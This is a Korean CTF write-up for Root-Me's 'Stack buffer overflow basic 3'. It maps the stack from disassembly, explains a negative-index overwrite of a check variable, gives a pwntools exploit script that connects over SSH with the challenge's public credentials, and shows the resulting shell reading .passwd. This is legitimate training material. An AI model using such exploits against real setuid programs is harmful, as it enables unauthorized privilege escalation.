

# Stack buffer overflow basic 3

```
#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

void shell(void);

int main()
{
    char buffer[64];
    int check;
    int i = 0;
    int count = 0;

    printf("Enter your name: ");
    fflush(stdout);
    while(1)
    {
        if(count >= 64)
            printf("Oh no...Sorry !\n");
        if(check == 0xbffffabc)
            shell();
        else
        {
            read(fileno(stdin), &i, 1);
            switch(i)
            {
                case '\n':
                    printf("\a");
                    break;
                case 0x08:
                    count--;
                    printf("\b");
                    break;
                case 0x04:
                    printf("\t");
                    count++;
                    break;
                case 0x90:
                    printf("\a");
                    count++;
                    break;
                default:
                    buffer[count] = i;
                    count++;
                    break;
            }
        }
    }
}

void shell(void)
{
    setreuid(geteuid(), geteuid());
    system("/bin/bash");
}
```

문제의 c파일이다. 코드만 보면 count가 64이상이 되기 전에 switch문에서 default에 있는 buffer[count] = i를 이용해 check의 값을 0xbffffabc로 바꾸어 주면 될 것 같다.

```
scp -P2222 app-systeme-ch16@challenge02.root-me.org://challenge/app-systeme/ch16/ch16 ./
```

scp로 문제 파일을 다운받았다. (비번 : app-systeme-ch16)

그럼 check의 위치와 buf의 위치를 살펴보자

```
leede@leede: ~/rootMe
0x080485fa <+4>: and     esp,0xffffffff
0x080485fd <+7>: push   DWORD PTR [ecx-0x4]
0x08048600 <+10>: push   ebp
0x08048601 <+11>: mov     ebp,esp
0x08048603 <+13>: push   ebx
0x08048604 <+14>: push   ecx
0x08048605 <+15>: sub     esp,0x50
0x08048608 <+18>: call    0x8048530 <__x86.get_pc_thunk.bx>
0x0804860d <+23>: add     ebx,0x19f3
0x08048613 <+29>: mov     eax,gs:0x14
0x08048619 <+35>: mov     DWORD PTR [ebp-0xc],eax
0x0804861c <+38>: xor     eax,eax
0x0804861e <+40>: mov     DWORD PTR [ebp-0x58],0x0
0x08048625 <+47>: mov     DWORD PTR [ebp-0x54],0x0
0x0804862c <+54>: sub     esp,0xc
0x0804862f <+57>: lea     eax,[ebx-0x1810]
0x08048635 <+63>: push    eax
0x08048636 <+64>: call    0x8048440 <printf@plt>
0x0804863b <+69>: add     esp,0x10
0x0804863e <+72>: mov     eax,DWORD PTR [ebx-0x4]
0x08048644 <+78>: mov     eax,DWORD PTR [eax]
0x08048646 <+80>: sub     esp,0xc
0x08048649 <+83>: push    eax
0x0804864a <+84>: call    0x8048450 <fflush@plt>
0x0804864f <+89>: add     esp,0x10
0x08048652 <+92>: cmp     DWORD PTR [ebp-0x54],0x3f
0x08048656 <+96>: jle     0x804866a <main+116>
0x08048658 <+98>: sub     esp,0xc
0x0804865b <+101>: lea     eax,[ebx-0x17fe]
0x08048661 <+107>: push    eax
0x08048662 <+108>: call    0x8048470 <puts@plt>
0x08048667 <+113>: add     esp,0x10
0x0804866a <+116>: cmp     DWORD PTR [ebp-0x50],0xbffffabc
0x08048671 <+123>: jne     0x804867a <main+132>
0x08048673 <+125>: call    0x8048725 <shell>
0x08048678 <+130>: jmp     0x8048652 <main+92>
0x0804867a <+132>: mov     eax,DWORD PTR [ebx-0x8]
0x08048680 <+138>: mov     eax,DWORD PTR [eax]
0x08048682 <+140>: sub     esp,0xc
0x08048685 <+143>: push    eax
0x08048686 <+144>: call    0x80484c0 <fileno@plt>
0x0804868b <+149>: add     esp,0x10
0x0804868e <+152>: mov     edx,eax
0x08048690 <+154>: sub     esp,0x4
0x08048693 <+157>: push    0x1
0x08048695 <+159>: lea     eax,[ebp-0x58]
0x08048698 <+162>: push    eax
```

<main+116> 에서 0xbffffabc를 ebp-0x50 에 들어 있는 값과 비교하는 것을 보니 check의 위치는 ebp-0x50 이다. count와 i의 값은 그닥 중요하지 않지만 일단 살펴보면 <main+92> 에서 0x31(64)와 ebp-0x54 에 있는 값과 비교하는 것을 보니 count의 위치는 ebp-0x54 이다. 그럼 멘위에 0x0으로 초기화한 ebp-0x58 에 i의 값이 있을 것이다.

```

0x0804870c <+278>: mov     eax,DWORD PTR [ebp-0x58]
0x0804870f <+281>: mov     ecx,eax
0x08048711 <+283>: lea     edx,[ebp-0x4c]
0x08048714 <+286>: mov     eax,DWORD PTR [ebp-0x54]
0x08048717 <+289>: add     eax,edx
0x08048719 <+291>: mov     BYTE PTR [eax],cl
0x0804871b <+293>: add     DWORD PTR [ebp-0x54],0x1
0x0804871f <+297>: nop
0x08048720 <+298>: jmp     0x8048652 <main+92>

```

마지막 default인 부분을 찾으면 저 부분이다. count의 위치인 `ebp-0x54` 에 들어 있는 값과 `ebp-0x4c` 의 주소 값을 더하여 i 를 읽어오는 것을 보니 `ebp-0x4c` 가 buffer의 위치인 것 같다.

```

buffer : ebp-0x4c
check  : ebp-0x50
count  : ebp-0x54
i      : ebp-0x58

```

이렇게 들어 가 있다.

지금 buffer와 check의 차이가 -4이다. 지금 buffer가 check보다 더 밑에 있으므로 일반적인 방식으로는 덮을 수가 없다. 따라서 우리는 위 c파일에서 봤던 `buffer[count] = i`을 이용해야 한다. 지금 buffer의 주소와 count의 값을 더하여 i를 저장하는데 이때 count가 -4라면 check의 시작 위치가 될수있다.

따라서 우리는 `count--;` 를 해주는 0x08을 4번 넣고 `0xbffffabc` 를 넣어주면 셸을 딸 수 있다!

그럼 이제 pwntool을 이용하여 코드를 만들어 보자

```

s = ssh(host="challenge02.root-me.org", port=2222, user="app-systeme-ch16", password="app-systeme-ch16")
r = s.process("./ch16")

r.sendline(b"\x08")
r.sendline(b"\x08")
r.sendline(b"\x08")
r.sendline(b"\x08")
r.sendline(b"\xbc")
r.sendline(b"\xfa")
r.sendline(b"\xff")
r.sendline(b"\xbf")

r.interactive()

```

그럼 이제 flag 값을 알 수 있다.

```

leede@leede:~/rootMe$ python3 ch16.py
[+] Connecting to challenge02.root-me.org on port 2222: Done
[*] app-systeme-ch13@challenge02.root-me.org:
    Distro   Ubuntu 18.04
    OS:      linux
    Arch:    i386
    Version: 5.4.0
    ASLR:    Disabled
[+] Starting remote process bytearray(b'./ch16') on challenge02.root-me.org: pid 12671
[*] Switching to interactive mode
Enter your name: app-systeme-ch16-cracked@challenge02:~$ app-systeme-ch16-cracked@challenge02
:~$ $ ls -al
total 28
dr-xr-x---  2 app-systeme-ch16-cracked app-systeme-ch16 4096 May 19  2019 .
drwxr-xr-x 18 root                    root           4096 Mar 17  2018 ..
-r-----  1 app-systeme-ch16-cracked app-systeme-ch16   16 Apr  9  2015 .passwd
-r--r----- 1 app-systeme-ch16-cracked app-systeme-ch16  534 May 19  2019 Makefile
-r-sr-x---  1 app-systeme-ch16-cracked app-systeme-ch16 7532 May 19  2019 ch16
-r--r----- 1 app-systeme-ch16-cracked app-systeme-ch16 1110 May 19  2019 ch16.c
app-systeme-ch16-cracked@challenge02:~$ $ cat .passwd
.....
app-systeme-ch16-cracked@challenge02:~$ $

```